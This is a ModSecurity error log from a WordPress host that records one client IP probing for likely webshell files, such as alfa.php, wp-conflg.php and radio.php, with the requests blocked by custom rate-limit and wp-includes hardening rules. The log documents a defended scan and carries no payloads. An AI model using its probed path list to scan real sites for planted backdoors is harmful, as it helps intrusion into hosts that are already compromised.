[Thu Jan 08 01:08:28.042394 2026] [:error] [pid 58294:tid 58313] [client 4.189.122.79:3161] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aV6TDFfzA7c0ITpf3nFbjAAAAJE"]
[Thu Jan 08 01:08:28.281076 2026] [:error] [pid 30634:tid 30705] [client 4.189.122.79:3181] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aV6TDICIPBibObtmZtswQgAAAM8"]
[Thu Jan 08 01:08:28.519820 2026] [:error] [pid 50936:tid 50960] [client 4.189.122.79:3641] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aV6TDLDlg80QUdd5qc40XgAAApY"]
[Thu Jan 08 01:08:28.761070 2026] [:error] [pid 50936:tid 50948] [client 4.189.122.79:3645] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aV6TDLDlg80QUdd5qc40XwAAAoo"]
[Thu Jan 08 01:08:28.994659 2026] [:error] [pid 30634:tid 30711] [client 4.189.122.79:3440] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aV6TDICIPBibObtmZtswQwAAANU"]
[Thu Jan 08 01:08:29.230106 2026] [:error] [pid 30633:tid 30670] [client 4.189.122.79:3626] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aV6TDfZiVWlF7303nMjY-QAAAEc"]
[Thu Jan 08 01:08:29.459209 2026] [:error] [pid 50936:tid 50949] [client 4.189.122.79:3509] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aV6TDbDlg80QUdd5qc40YQAAAos"]
[Thu Jan 08 01:08:29.686922 2026] [:error] [pid 58294:tid 58317] [client 4.189.122.79:3611] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aV6TDVfzA7c0ITpf3nFbjwAAAJU"]
[Thu Jan 08 01:08:29.913721 2026] [:error] [pid 30632:tid 30650] [client 4.189.122.79:3587] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aV6TDed3_LCpBJzo02c6UQAAAA4"]
[Thu Jan 08 01:08:30.139936 2026] [:error] [pid 30634:tid 30694] [client 4.189.122.79:3637] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aV6TDoCIPBibObtmZtswRgAAAMQ"]
[Thu Jan 08 01:08:30.366931 2026] [:error] [pid 50905:tid 50920] [client 4.189.122.79:3606] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aV6TDmpNgk5-gt30I7bGRQAAAk0"]
[Thu Jan 08 01:08:30.601613 2026] [:error] [pid 30633:tid 30679] [client 4.189.122.79:3484] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aV6TDvZiVWlF7303nMjY_QAAAFA"]
[Thu Jan 08 01:08:30.830100 2026] [:error] [pid 58294:tid 58319] [client 4.189.122.79:3478] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aV6TDlfzA7c0ITpf3nFbkQAAAJc"]
[Thu Jan 08 01:08:31.057341 2026] [:error] [pid 58294:tid 58312] [client 4.189.122.79:3584] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aV6TD1fzA7c0ITpf3nFbkwAAAJA"]
[Thu Jan 08 01:08:31.286986 2026] [:error] [pid 58294:tid 58306] [client 4.189.122.79:3145] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aV6TD1fzA7c0ITpf3nFblAAAAIo"]
[Thu Jan 08 01:08:31.521879 2026] [:error] [pid 50870:tid 50872] [client 4.189.122.79:3456] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aV6TDxlePfspAt1BzouXzwAAAgA"]
[Thu Jan 08 01:08:31.750850 2026] [:error] [pid 58294:tid 58301] [client 4.189.122.79:3450] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aV6TD1fzA7c0ITpf3nFblQAAAIU"]
[Thu Jan 08 01:08:31.977190 2026] [:error] [pid 30632:tid 30641] [client 4.189.122.79:3617] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aV6TD-d3_LCpBJzo02c6UgAAAAU"]
[Thu Jan 08 01:08:32.203916 2026] [:error] [pid 30632:tid 30649] [client 4.189.122.79:3182] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aV6TEOd3_LCpBJzo02c6UwAAAA0"]
[Thu Jan 08 01:08:32.433341 2026] [:error] [pid 30634:tid 30699] [client 4.189.122.79:3605] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aV6TEICIPBibObtmZtswRwAAAMk"]
[Thu Jan 08 01:08:32.659822 2026] [:error] [pid 51128:tid 51146] [client 4.189.122.79:3600] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aV6TEEGjtE8U88mrwufLyQAAAZA"]
[Thu Jan 08 01:08:32.893615 2026] [:error] [pid 30633:tid 30678] [client 4.189.122.79:3138] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aV6TEPZiVWlF7303nMjY_wAAAE8"]
[Thu Jan 08 01:08:33.133147 2026] [:error] [pid 51128:tid 51144] [client 4.189.122.79:3601] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aV6TEUGjtE8U88mrwufLygAAAY4"]
[Thu Jan 08 01:08:33.362344 2026] [:error] [pid 50905:tid 50921] [client 4.189.122.79:3588] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aV6TEWpNgk5-gt30I7bGTwAAAk4"]
[Thu Jan 08 01:08:33.588960 2026] [:error] [pid 30632:tid 30656] [client 4.189.122.79:3586] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aV6TEed3_LCpBJzo02c6VAAAABQ"]
[Thu Jan 08 01:08:33.815769 2026] [:error] [pid 50905:tid 50925] [client 4.189.122.79:3472] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aV6TEWpNgk5-gt30I7bGUgAAAlI"]
[Thu Jan 08 01:08:34.042762 2026] [:error] [pid 50905:tid 50931] [client 4.189.122.79:3179] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aV6TEmpNgk5-gt30I7bGUwAAAlg"]
[Thu Jan 08 01:08:34.269221 2026] [:error] [pid 30633:tid 30682] [client 4.189.122.79:3495] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aV6TEvZiVWlF7303nMjZAAAAAFM"]
[Thu Jan 08 01:08:34.496559 2026] [:error] [pid 50905:tid 50912] [client 4.189.122.79:3509] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aV6TEmpNgk5-gt30I7bGVQAAAkU"]
[Thu Jan 08 01:08:34.724999 2026] [:error] [pid 50905:tid 50919] [client 4.189.122.79:3596] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aV6TEmpNgk5-gt30I7bGWAAAAkw"]
[Thu Jan 08 01:08:34.957421 2026] [:error] [pid 30632:tid 30642] [client 4.189.122.79:3162] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aV6TEud3_LCpBJzo02c6VgAAAAY"]
[Thu Jan 08 01:08:35.183254 2026] [:error] [pid 58330:tid 58356] [client 4.189.122.79:3514] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aV6TEw8kGngKGK7_wncyOAAAARg"]
[Thu Jan 08 01:08:35.411547 2026] [:error] [pid 50905:tid 50928] [client 4.189.122.79:3638] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aV6TE2pNgk5-gt30I7bGWwAAAlU"]
[Thu Jan 08 01:08:35.645399 2026] [:error] [pid 50905:tid 50922] [client 4.189.122.79:3474] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aV6TE2pNgk5-gt30I7bGXQAAAk8"]
[Thu Jan 08 01:08:35.873193 2026] [:error] [pid 30632:tid 30657] [client 4.189.122.79:3334] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aV6TE-d3_LCpBJzo02c6VwAAABU"]
[Thu Jan 08 01:08:36.099360 2026] [:error] [pid 58294:tid 58318] [client 4.189.122.79:3463] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aV6TFFfzA7c0ITpf3nFblgAAAJY"]
[Thu Jan 08 01:08:36.327008 2026] [:error] [pid 51128:tid 51131] [client 4.189.122.79:23077] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aV6TFEGjtE8U88mrwufL0wAAAYE"]
[Thu Jan 08 01:08:36.553051 2026] [:error] [pid 50905:tid 50907] [client 4.189.122.79:3628] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aV6TFGpNgk5-gt30I7bGYwAAAkA"]
[Thu Jan 08 01:08:36.785395 2026] [:error] [pid 30632:tid 30648] [client 4.189.122.79:23059] [client 4.189.122.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aV6TFOd3_LCpBJzo02c6WQAAAAw"]
[Thu Jan 08 01:08:37.011468 2026] [:error] [pid 50905:tid 50925] [client 4.189.122.79:3613] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aV6TFWpNgk5-gt30I7bGZgAAAlI"]
[Thu Jan 08 01:08:37.240143 2026] [:error] [pid 50870:tid 50879] [client 4.189.122.79:3271] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aV6TFRlePfspAt1BzouX0AAAAgc"]
[Thu Jan 08 01:08:37.476396 2026] [:error] [pid 50870:tid 50886] [client 4.189.122.79:23094] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aV6TFRlePfspAt1BzouX0QAAAg4"]
[Thu Jan 08 01:08:37.708312 2026] [:error] [pid 51128:tid 51146] [client 4.189.122.79:3467] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aV6TFUGjtE8U88mrwufL1QAAAZA"]
[Thu Jan 08 01:08:37.939102 2026] [:error] [pid 58330:tid 58341] [client 4.189.122.79:3598] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aV6TFQ8kGngKGK7_wncyOwAAAQk"]
[Thu Jan 08 01:08:38.166040 2026] [:error] [pid 58330:tid 58346] [client 4.189.122.79:3154] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aV6TFg8kGngKGK7_wncyPQAAAQ4"]
[Thu Jan 08 01:08:38.391807 2026] [:error] [pid 58330:tid 58332] [client 4.189.122.79:3165] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aV6TFg8kGngKGK7_wncyPgAAAQA"]
[Thu Jan 08 01:08:38.621826 2026] [:error] [pid 58330:tid 58355] [client 4.189.122.79:3646] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aV6TFg8kGngKGK7_wncyQAAAARc"]
[Thu Jan 08 01:08:38.851943 2026] [:error] [pid 58294:tid 58305] [client 4.189.122.79:3128] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aV6TFlfzA7c0ITpf3nFblwAAAIk"]
[Thu Jan 08 01:08:39.078058 2026] [:error] [pid 50838:tid 50864] [client 4.189.122.79:3088] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aV6TF7SweZ27JIN4H8vt0gAAAdg"]
[Thu Jan 08 01:08:39.304465 2026] [:error] [pid 30632:tid 30653] [client 4.189.122.79:3485] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aV6TF-d3_LCpBJzo02c6XAAAABE"]
[Thu Jan 08 01:08:39.532755 2026] [:error] [pid 58330:tid 58340] [client 4.189.122.79:3597] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bel.php"] [unique_id "aV6TFw8kGngKGK7_wncyQwAAAQg"]
[Thu Jan 08 01:08:39.773324 2026] [:error] [pid 30634:tid 30690] [client 4.189.122.79:3634] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bel.php"] [unique_id "aV6TF4CIPBibObtmZtswSgAAAMA"]
[Thu Jan 08 01:08:40.006824 2026] [:error] [pid 50905:tid 50913] [client 4.189.122.79:3502] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bel.php"] [unique_id "aV6TGGpNgk5-gt30I7bGZwAAAkY"]
[Thu Jan 08 01:08:40.242083 2026] [:error] [pid 50905:tid 50915] [client 4.189.122.79:3630] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bel.php"] [unique_id "aV6TGGpNgk5-gt30I7bGaQAAAkg"]
[Thu Jan 08 01:08:40.473328 2026] [:error] [pid 50870:tid 50891] [client 4.189.122.79:23049] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/alfa.php"] [unique_id "aV6TGBlePfspAt1BzouX0wAAAhM"]
